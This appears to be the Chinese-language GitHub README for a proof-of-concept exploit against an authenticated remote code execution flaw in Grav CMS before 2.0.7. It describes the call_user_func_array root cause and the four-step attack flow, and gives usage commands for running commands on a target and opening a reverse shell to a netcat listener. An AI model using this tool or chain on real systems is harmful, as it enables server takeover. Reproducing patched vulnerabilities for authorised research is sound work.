zer0dayf/CVE-2026-65008

GitHub: zer0dayf/CVE-2026-65008

针对 Grav CMS < 2.0.7 认证后 RCE 漏洞(CVE-2026-65008)的自动化概念验证利用工具,支持命令执行与反向 shell。

Stars: 0 | Forks: 0

# CVE-2026-65008 — Grav CMS < 2.0.7 认证后 RCE **CVE-2026-65008** 的概念验证:通过 `Blueprint::dynamicData()` 中不受限制的 `call_user_func_array()` 实现的 Grav CMS 认证后远程代码执行。 拥有 `admin.pages`(或 `api.pages.write`)权限的用户可以植入恶意的表单 frontmatter。当**任何**访问者(包括未认证用户)加载该页面时,该 payload 就会以 Web 服务器用户的身份执行。 **仅限授权测试。** 仅在您拥有或获得明确书面测试许可的系统上使用。 ## 根本原因 `Blueprint::dynamicData()` 将攻击者可控的 `Class::method` 回调及参数传递给 PHP `call_user_func_array()`,且没有任何白名单限制。结合 `Grav\Common\Utils::arrayFilterRecursive` 作为跳板,最终可调用 `system()` / `passthru()` 等。 已在 **Grav 2.0.7+** 版本中修复。 ## CVSS **9.8 严重** — `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H` ## 环境要求 - Python 3.10+ - `requests` 安装: ``` pip install -r requirements.txt ``` ## 用法 ### 命令执行 ``` python3 exploit.py -u http://TARGET -U admin -P 'password' -c "id" ``` ### 反向 shell 首先启动监听器: ``` nc -lvnp 4444 ``` 然后执行: ``` python3 exploit.py -u http://TARGET -U admin -P 'password' --lhost YOUR_IP --lport 4444 ``` ### 参数 | 标志 | 描述 | |------|-------------| | `-u, --url` | 目标基础 URL(**必填**) | | `-U, --username` | Admin / 页面编辑用户(默认:`admin`) | | `-P, --password` | 密码(**必填**) | | `-c, --command` | 要执行的命令(默认:`id`) | | `--lhost` | 反向 shell 的 LHOST | | `--lport` | 反向 shell 的 LPORT(默认:`4444`) | | `--folder` | 页面文件夹名称(默认:`rcepoc`) | | `--no-verify` | 禁用 TLS 验证 | ## 流程 1. 登录 `/admin`(提取 `login-nonce`) 2. 从管理面板获取 `admin_nonce` 3. 保存一个其 frontmatter 包含 `data-opts@:` 利用链的页面 4. 通过未认证 GET 请求触发 → 以 `www-data` 身份执行 RCE ## 免责声明 本项目仅用于**教育和授权的安全研究**。作者不对任何滥用行为负责。在测试第三方系统之前,请务必获取书面许可。原始漏洞已通过厂商安全公告披露;本仓库仅用于演示实验室环境下的复现。 ## 参考 - https://github.com/getgrav/grav/security/advisories/GHSA-fj2p-qj2f-74v5 - https://nvd.nist.gov/vuln/detail/CVE-2026-65008 - https://www.cve.org/CVERecord?id=CVE-2026-65008 ## 许可证 仅用于研究目的。不提供任何担保。
标签:CISA项目, Python, RCE, Web安全, 威胁模拟, 无后门, 蓝队分析, 逆向工具